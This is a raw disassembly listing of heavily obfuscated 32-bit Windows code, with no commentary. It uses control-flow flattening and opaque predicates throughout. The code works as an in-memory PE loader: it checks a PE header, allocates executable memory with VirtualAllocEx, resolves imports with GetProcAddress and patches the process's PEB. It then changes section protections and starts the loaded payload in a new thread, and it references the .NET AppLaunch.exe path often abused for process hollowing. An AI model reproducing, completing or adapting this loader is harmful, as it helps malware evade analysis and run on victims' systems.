mov word [ecx], ax
mov eax, 0xc09a1d3f
jmp 0x401340
mov eax, 0xd9d538ee
jmp 0x401340
mov dword [ebp - 0x1b62c], 0xc
mov eax, 0x72c5649b
jmp 0x401340
mov eax, dword [ebp - 0x1b638]
push dword [ebp - 0x1b77c]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x1b63c]
mov dword [ecx], eax
mov ecx, 0xd0c871be
mov eax, dword [ebp - 0x1b63c]
cmp dword [eax], 0
mov eax, 0x4bee12d6
cmove eax, ecx
jmp 0x401340
push eax
mov eax, esp
mov dword [ebp - 0x1b638], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b650], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b630], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b680], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b63c], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b6a8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b640], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b644], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b634], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b684], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b69c], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b688], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b65c], eax
sub esp, 0x78
mov esi, dword [0x4843e0]
mov edx, dword [0x4843dc]
mov edi, 0xc735dfb
mov ecx, esp
mov dword [ebp - 0x1b68c], ecx
lea eax, [esi - 1]
imul eax, esi
mov esi, 0x226d9c4e
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
cmp eax, 0xffffffff
mov eax, esi
cmove eax, edi
cmp edx, 0xa
cmovge eax, esi
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x98377f18
mov esi, 0xf657146d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf657146d
jmp 0x404b3e
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xbcb1c046
lea edi, [ebp - 0x1b610]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe232e828
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x1b670]
cmp ecx, 0xa
cmovge eax, edx
mov edx, dword [ebp - 0x1b678]
lea ecx, [esi + esi*4]
mov ecx, dword [edx + ecx*8 + 0xc]
mov dword [ebp - 0x1b718], edi
mov dword [ebp - 0x1b71c], edx
mov dword [ebp - 0x1b720], esi
add ecx, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b714], ecx
jmp 0x401340
mov eax, 0x7bb81b5c
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0xa323a0ea
mov esi, 0xddfd190
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xddfd190
jmp 0x404b46
mov eax, 0xca5dceca
jmp 0x401340
mov eax, 0xed828125
jmp 0x401340
mov eax, dword [ebp - 0x1b75c]
mov dword [ebp - 0x1b67c], eax
mov eax, 0x3ce80a27
jmp 0x401340
mov eax, dword [ebp - 0x1b748]
cmp eax, dword [ebp - 0x1b74c]
mov eax, 0x9e4f334f
setl byte [ebp - 0x1b661]
jmp 0x401340
mov eax, dword [ebp - 0x1b644]
mov dword [eax], 0x20
mov eax, 0x4ae49810
jmp 0x401340
mov eax, 0xaeb437fa
mov dword [ebp - 0x1b62c], 2
jmp 0x401340
mov eax, 0x4ff1af5c
jmp 0x401340
mov eax, dword [ebp - 0x1b640]
mov dword [eax], 0
mov eax, 0xc896174a
jmp 0x401340
mov eax, dword [ebp - 0x1b684]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x1b684]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b69c]
mov eax, dword [ebp - 0x1b684]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1b69c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b688]
mov eax, dword [ebp - 0x1b69c]
mov eax, dword [eax]
mov dword [ebp - 0x1b7a4], eax
mov eax, 0x2f8b7d11
jmp 0x401340
mov dword [ebp - 0x1b62c], 1
mov eax, 0xd676549b
jmp 0x401340
mov eax, 0x27499d13
jmp 0x401340
mov eax, 0xa7b62c16
jmp 0x401340
mov ecx, dword [ebp - 0x1b628]
mov eax, dword [ebp - 0x1b624]
mov edi, 0xb176684e
mov esi, 0xd77e308c
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x1b730], eax
mov eax, dword [0x4843e0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xd77e308c
jmp 0x404b3e
mov eax, dword [ebp - 0x1b628]
vmovsd xmm0, qword [eax + 0xa0]
mov eax, 0x600968c2
vmovsd qword [ebp - 0x1b620], xmm0
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x4d04264f
mov edi, 0x93e2aff
jmp 0x401317
mov eax, dword [ebp - 0x1b708]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x51a51e08
jmp 0x401340
mov eax, dword [ebp - 0x1b760]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x1b764], eax
mov eax, 0x3b760e15
jmp 0x401340
mov eax, 0x67cb8a05
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xbb4a455e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf1c36da6
jmp 0x404919
mov eax, dword [ebp - 0x1b698]
mov dword [ebp - 0x1b748], eax
mov eax, dword [ebp - 0x1b6e8]
mov dword [ebp - 0x1b74c], eax
mov eax, 0xef573dbb
jmp 0x401340
mov eax, dword [ebp - 0x1b690]
mov eax, dword [ebp - 0x1b6a0]
mov eax, dword [ebp - 0x1b674]
mov eax, dword [ebp - 0x1b68c]
mov eax, dword [ebp - 0x1b65c]
mov eax, dword [ebp - 0x1b688]
mov eax, dword [ebp - 0x1b69c]
mov eax, dword [ebp - 0x1b684]
mov eax, dword [ebp - 0x1b6a8]
mov dword [ebp - 0x1b62c], 1
mov eax, 0x3aebb314
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x8aa94c12
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x49c9b166
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
mov esi, dword [ebp - 0x1b6c4]
cmp ecx, 0xa
cmovge eax, edx
add esi, 0x34
mov dword [ebp - 0x1b6c8], esi
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xa82f2909
mov edi, 0x53933b25
jmp 0x401317
mov eax, dword [0x4843e0]
mov esi, 0xe9b41f0d
mov edi, 0xda27888a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xda27888a
jmp 0x404daa
inc dword [ebp - 0x1b658]
mov eax, 0x1eec41f4
jmp 0x401340
mov eax, 0x1540cd6d
jmp 0x401340
mov eax, 0x6e55492
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x601bbd8c
mov edi, 0x2d34dc40
jmp 0x401317
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x984f6843
mov edi, 0xfa52b846
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x1b654]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
mov dword [ebp - 0x1b64c], edx
jmp 0x401340
mov eax, dword [ebp - 0x1b698]
mov dword [ebp - 0x1b648], eax
mov eax, 0x6c7a3fc9
jmp 0x401340
mov eax, 0x2d34dc40
jmp 0x401340
mov eax, 0xd1bfc3ce
jmp 0x401340
mov eax, dword [ebp - 0x1b628]
add eax, 0x18
mov dword [ebp - 0x1b708], eax
mov eax, 0xbc195ccf
jmp 0x401340
mov eax, dword [ebp - 0x1b62c]
mov dword [ebp - 0x1b780], eax
mov eax, 0x35517089
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xa82f2909
mov edi, 0xc2a71498
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1b628]
cmovge eax, esi
add ecx, 0x34
mov dword [ebp - 0x1b6f8], ecx
jmp 0x401340
mov eax, 0x9379b928
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x167590a
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2a2f3f8d
jmp 0x404919
mov eax, 0xbb4a455e
jmp 0x401340
cmp dword [ebp - 0x1b79c], 0
mov eax, 0xfd0df4ee
mov ecx, 0x65c77920
cmove eax, ecx
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x5769f9cf
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x27d77140
jmp 0x404919
mov eax, 0x318d0c81
jmp 0x401340
mov eax, dword [ebp - 0x1b6dc]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x1b6a4]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1b690]
mov esi, 0x7c5f6373
mov edi, 0xf176a587
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b674]
cmp byte [eax], 0
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
setne byte [ebp - 0x1b665]
imul ecx, eax
mov eax, 0xf176a587
jmp 0x404da2
mov eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b73c], eax
mov eax, dword [ebp - 0x1b64c]
mov dword [ebp - 0x1b740], eax
mov eax, 0x8a54d6a3
jmp 0x401340
mov eax, 0xca5dceca
jmp 0x401340
mov eax, 0x2279268d
jmp 0x401340
mov eax, dword [ebp - 0x1b628]
add eax, 0x18
mov dword [ebp - 0x1b704], eax
mov eax, 0x7cd17c99
jmp 0x401340
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0x9d8505a2
setne byte [ebp - 0x1b664]
jmp 0x401340
mov eax, dword [ebp - 0x1b654]
mov dword [ebp - 0x1b64c], eax
mov eax, 0x2d0178e4
jmp 0x401340
mov eax, dword [ebp - 0x1b76c]
mov eax, dword [eax]
add eax, dword [ebp - 0x1b768]
mov dword [ebp - 0x1b6d4], eax
mov eax, 0x3f851ac1
jmp 0x401340
mov eax, dword [ebp - 0x1b6d0]
add eax, 2
mov dword [ebp - 0x1b654], eax
mov eax, 0xe9b41f0d
jmp 0x401340
mov eax, 0x229e74e1
jmp 0x401340
mov eax, dword [0x4843e0]
mov esi, 0x1eec41f4
mov edi, 0x9c16265
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9c16265
jmp 0x404daa
mov eax, 0x73b5e809
jmp 0x401340
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
mov dword [ebp - 0x1b794], eax
mov eax, 0x15087b4f
jmp 0x401340
mov eax, dword [ebp - 0x1b690]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1b6b0], 0
mov eax, 0x79880a0
jmp 0x401340
mov eax, 0x82f81b8c
jmp 0x401340
mov eax, 0xa323a0ea
jmp 0x401340
mov eax, dword [ebp - 0x1b650]
mov edi, 0x8e21decb
mov esi, 0xeaf3b9d8
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b630]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x1b624]
mov ecx, dword [ebp - 0x1b680]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b63c]
mov eax, dword [ebp - 0x1b650]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b630]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov dword [ebp - 0x1b77c], eax
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xeaf3b9d8
jmp 0x404b3e
mov dword [ebp - 0x1b62c], 0xa
mov eax, 0xa4764ff5
jmp 0x401340
mov eax, dword [ebp - 0x1b744]
mov dword [ebp - 0x1b698], 0
mov dword [ebp - 0x1b6e8], eax
mov eax, dword [ebp - 0x1b64c]
add eax, 8
mov dword [ebp - 0x1b654], eax
mov eax, 0x6e55492
jmp 0x401340
mov eax, dword [ebp - 0x1b7a4]
vmovups ymm0, ymmword [0x477870]
vmovups ymm1, ymmword [0x477858]
vmovups ymm2, ymmword [0x477838]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x1b688]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b684]
mov ecx, dword [ebp - 0x1b624]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x1b688]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x1b65c]
mov eax, dword [ebp - 0x1b688]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b65c]
add eax, 0x24
mov dword [ecx], eax
mov ecx, 0xc09a1d3f
mov eax, dword [ebp - 0x1b68c]
mov eax, dword [ebp - 0x1b68c]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x1b674]
mov eax, dword [ebp - 0x1b628]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x1b674]
setne byte [eax]
mov eax, dword [ebp - 0x1b6a0]
mov eax, dword [ebp - 0x1b674]
cmp byte [eax], 0
mov eax, 0x2e037ac1
cmove eax, ecx
jmp 0x401340
mov eax, dword [ebp - 0x1b644]
mov esi, 0xb129839d
mov dword [eax], 2
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf55d3886
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401340
mov eax, 0xf4d96c4d
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x9c0cd7ef
mov edi, 0x6539da0f
mov dword [ebp - 0x1b670], 0
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
mov edi, dword [ebp - 0x1b628]
cmp ecx, 0xa
cmovge eax, esi
movzx ecx, word [edi + 0x14]
lea ecx, [edi + ecx + 0x18]
mov dword [ebp - 0x1b678], ecx
jmp 0x401340
mov eax, dword [0x4843e0]
inc dword [ebp - 0x1b658]
mov edi, 0x83b3a9ab
mov esi, 0x9c16265
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9c16265
jmp 0x404b3e
mov eax, dword [0x4843e0]
mov esi, 0x871f17a8
mov edi, 0x2be217de
mov dword [ebp - 0x1b62c], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2be217de
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4843dc], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0xc93ed09d
mov esi, 0xb1f2855f
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb1f2855f
jmp 0x404b3e
mov eax, dword [ebp - 0x1b644]
mov eax, dword [ebp - 0x1b644]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x1b634]
mov eax, dword [ebp - 0x1b640]
mov ecx, dword [ebp - 0x1b678]
mov eax, dword [eax]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x1b634]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, 0x9566694f
mov dword [ebp - 0x1b78c], ecx
jmp 0x401340
mov eax, dword [0x4843e0]
mov esi, 0x7ceb239b
mov edi, 0x812457ea
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x812457ea
jmp 0x404daa
mov eax, 0x5759f6a2
jmp 0x401340
mov eax, dword [ebp - 0x1b650]
mov eax, 0x5d220e31
jmp 0x401340
mov eax, dword [ebp - 0x1b640]
mov dword [ebp - 0x1b62c], 0x10
mov eax, 0xac0c2ddb
jmp 0x401340
mov eax, dword [ebp - 0x1b71c]
mov ecx, dword [ebp - 0x1b720]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
add eax, dword [ebp - 0x1b718]
mov ecx, dword [ebp - 0x1b678]
mov dword [ebp - 0x1b724], eax
mov eax, dword [ebp - 0x1b670]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x10]
mov dword [ebp - 0x1b728], eax
mov eax, 0x6019569f
jmp 0x401340
mov eax, 0xbebb8c03
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x3a71e7f8
mov esi, 0x6d3d494c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x6d3d494c
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4843dc], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401340
mov eax, 0xa0264f32
jmp 0x401340
mov eax, dword [ebp - 0x1b780]
mov ecx, 0xb738eefc
cmp eax, 0xc
mov eax, 0x3fe730e6
cmove eax, ecx
jmp 0x401340
mov eax, dword [0x4843e0]
mov esi, 0x6212c0ae
mov edi, 0xb900a7cc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb900a7cc
jmp 0x404da2
mov eax, dword [ebp - 0x1b634]
mov eax, 0x7873ee82
jmp 0x401340
cmp byte [ebp - 0x1b661], 0
mov eax, 0xbc07c268
mov ecx, 0xa1cb89f1
cmovne eax, ecx
jmp 0x401340
mov eax, 0x3ce66ca
jmp 0x401340
mov eax, dword [ebp - 0x1b650]
mov eax, dword [ebp - 0x1b624]
mov ecx, dword [ebp - 0x1b67c]
mov dword [ebp - 0x1b770], eax
mov eax, dword [ebp - 0x1b658]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x1b774], eax
mov eax, 0x1b379124
jmp 0x401340
cmp dword [ebp - 0x1b778], 0
mov eax, 0x96f256fd
mov ecx, 0xaf8b00f7
cmove eax, ecx
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xf1c36da6
mov edi, 0x3e84a4ad
jmp 0x401317
mov eax, 0xb738eefc
jmp 0x401340
mov eax, dword [0x4843e0]
mov esi, 0x7e1b11b9
mov edi, 0x49c9b166
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x49c9b166
jmp 0x404daa
mov eax, dword [ebp - 0x1b704]
mov ecx, dword [ebp - 0x1b700]
cmp ecx, dword [eax + 0x1c]
mov eax, 0x19afaa5d
mov ecx, 0x7bb81b5c
cmove eax, ecx
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x12bfc72b
mov edi, 0x5a8760f
jmp 0x401317
mov eax, 0x64aab816
jmp 0x401340
mov eax, dword [0x4843e0]
mov edi, 0xb4f06b1b
mov esi, 0x330eaa13
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x330eaa13
jmp 0x404b46
mov eax, dword [0x4843e0]
mov esi, 0xbad81c91
mov edi, 0xddfd190
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xddfd190
jmp 0x404daa
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x32970428
mov edi, 0xcc4dfe
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x1b648]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
inc edx
mov dword [ebp - 0x1b698], edx
jmp 0x401340
mov eax, 0x1a2b54b6
mov dword [ebp - 0x1b6b0], 1
jmp 0x401340
mov dword [ebp - 0x1b6b4], 0
mov eax, 0x4a573879
jmp 0x401340
mov eax, dword [ebp - 0x1b6a8]
mov eax, dword [ebp - 0x1b640]
mov eax, dword [0x4843e0]
mov esi, 0xc896174a
mov edi, 0x9fba5e5b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9fba5e5b
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4843dc], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401340
mov eax, dword [ebp - 0x1b774]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x1b770]
mov ecx, dword [ebp - 0x1b650]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b630]
mov eax, dword [ebp - 0x1b630]
mov dword [eax], 0
mov eax, 0x318d0c81
jmp 0x401340
mov eax, 0xdddc4618
mov dword [ebp - 0x1b62c], 5
jmp 0x401340
mov eax, dword [ebp - 0x1b6f8]
mov eax, dword [eax]
mov dword [ebp - 0x1b6bc], eax
mov eax, 0x7ba45f69
jmp 0x401340
mov eax, 0x3c464e72
jmp 0x401340
mov eax, dword [ebp - 0x1b5d4]
lea ecx, [ebp - 0x1b610]
cmp dword [eax + ecx], 0x4550
lea edx, [eax + ecx]
mov eax, 0xe3560916
mov ecx, 0x5efdfa3a
mov dword [ebp - 0x1b628], edx
cmove eax, ecx
jmp 0x401340
push esi
push dword [ebp - 0x1b6e4]
push dword [ebp - 0x1b6e0]
push edx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x1b634]
mov eax, 0x8ea59301
jmp 0x401340
cmp eax, 0x8f32adab
jne 0x401340
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043d1d0
mov eax, dword [ebp - 0x1b6b0]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret